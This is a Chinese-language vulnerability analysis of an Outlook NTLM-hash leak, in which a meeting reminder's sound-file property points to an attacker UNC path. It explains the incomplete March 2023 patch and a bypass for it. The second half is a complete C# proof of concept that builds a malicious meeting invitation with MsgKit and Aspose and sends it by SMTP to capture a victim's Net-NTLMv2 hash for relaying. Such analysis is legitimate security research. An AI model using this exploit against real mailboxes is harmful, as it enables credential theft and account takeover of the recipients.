Microsoft Outlook 存在权限提升漏洞,未经身份验证的远程攻击者可通过向受害者发送特制的带有UNC地址的电子邮件来利用此漏洞,当受害者所用的outlook处于打开状态时,outlook收到的会议提醒过期时会尝试连接攻击者指定的外部 UNC 位置。这会将受害者的Net-NTLMv2 hash泄露给攻击者,然后攻击者可以将其中继到另一个服务,进而获得该用户权限。
在微软发布的补丁中对该漏洞修复不完全,只限制了所用UNC路径中不能含有”.”,攻击者可以使用诸如\aaa\形式的UNC路径对其绕过。
给Exchange邮箱发送带有ReminderFileParameter属性并指向UNC路径,ReminderOverride设为true,ReminderSet设为true即可触发
略
根据微软文档,Outlook会议可以设置PidLidReminderFileParameter和PidLidReminderOverride属性,其含义分别为:指定客户在该对象的提醒过期时应播放的声音的文件名和Outlook客户端是否应该保留PidLidReminderFileParameter属性的值。攻击者在发送给受害者的会议里面设置PidLidReminderFileParameter和PidLidReminderOverride属性,当会议过期时outlook会尝试解析PidLidReminderFileParameter属性并尝试播放PidLidReminderFileParameter指向的路径的声音文件(.wav),但outlook解析时并未限制PidLidReminderFileParameter属性指向的是本地文件还是网络文件。

即PidLidReminderFileParameter可以指向网络共享文件。攻击者将恶意会议邀请的PidLidReminderFileParameter属性设为攻击者控制的系统对应的UNC路径,并将PidLidReminderOverride属性设为true,将邀请发给受害者邮箱,当受害者在outlook上登录了邮箱时,outlook会自动获取该文件,当该路径参数为UNC路径时,outlook会以该用户身份向这个UNC路径对应的系统发起NTLM认证,尝试获取UNC路径指向的文件,此时攻击者可以获取到该认证hash,并将该hash中继到其他服务上,即可获取到受害者的权限。
该漏洞PoC先使用MsgKit库生成msg文件(outlook邮件格式),而后利用Aspose库读取msg文件并将其反序列化为MapiMessage对象,在其上添加ReminderSet并置为true,而后转换为MailMessage对象,通过smtpClient.Send发给受害者。从而触发漏洞,获取到受害者NTLM hash。 在微软2023年3月补丁日中对此漏洞进行了修复,但此漏洞修复不完全,只是限制了PidLidReminderFileParameter属性内不能含有”.”,导致攻击者可以使用\aaa\形式绕过此补丁。
PoC
using System;
using Aspose.Email.Mapi;
using Aspose.Email;
using Aspose.Email.Clients.Smtp;
namespace MsgKit
{
class Program
{
static void Main(string[] args)
{
string lanPath = @"\\server\test\";
string saveFilePath = @"saveFilePath";
using (var appoionment = new Appointment(
new Sender("winserver@domain.com", "Sender"),
new Representing("winserver@domain.com", "Sender"),
"pish"))
{
appoionment.Recipients.AddTo("administrator@domain.com", "administrator");
appoionment.Subject = "pish";
appoionment.Location = "Virtual";
appoionment.MeetingStart = DateTime.Now.Date;
appoionment.MeetingEnd = DateTime.Now.Date.AddHours(2).Date;
appoionment.AllDay = true;
appoionment.BodyText = "hello, world";
appoionment.BodyHtml = "<html><head></head><body><b>hello, pls read it.</b></body></html>";
appoionment.SentOn = DateTime.UtcNow;
appoionment.Importance = MsgKit.Enums.MessageImportance.IMPORTANCE_NORMAL;
appoionment.IconIndex = MsgKit.Enums.MessageIconIndex.UnsentMail;
appoionment.PidLidReminderFileParameter = lanPath;
appoionment.PidLidReminderOverride = false;
appoionment.Save(saveFilePath);
}
var msg = MapiMessage.Load(saveFilePath);
msg.SetProperty(KnownPropertyList.ReminderSet, true);
msg.SetProperty(KnownPropertyList.ReminderFileParameter, lanPath + "\a");
msg.SetProperty(KnownPropertyList.ReminderOverride, true);
SmtpClient smtpClient = new SmtpClient();
smtpClient.Host = "Host";
smtpClient.Username = "username";
smtpClient.Password = "Password";
smtpClient.Port = 587;
smtpClient.SecurityOptions = Aspose.Email.Clients.SecurityOptions.SSLExplicit;
try
{
var options = new MailConversionOptions();
options.KeepOriginalEmailAddresses = true;
options.ConvertAsTnef = true;
options.PreserveEmbeddedMessageFormat = true;
options.PreserveRtfContent = true;
smtpClient.Send(msg.ToMailMessage(options));
Console.WriteLine("success send");
}
catch (Exception ex)
{
Console.WriteLine("error:" + ex.ToString());
}
}
}
}
该漏洞是典型的逻辑漏洞,由于微软没有限制邮件的过期声音文件路径属性,导致可以设置这个属性为UNC路径来让outlook发起NTLM请求,尝试从网络加载文件,从而偷取NTLM hash。
第一次尝试使用outlook构造PoC时失败了,最后找到了C#的邮件库Aspose,通过修改Aspose库并利用该库就可以设置PidLidReminderFileParameter属性了。
参考链接
Created at 2023-05-05T20:50:19+08:00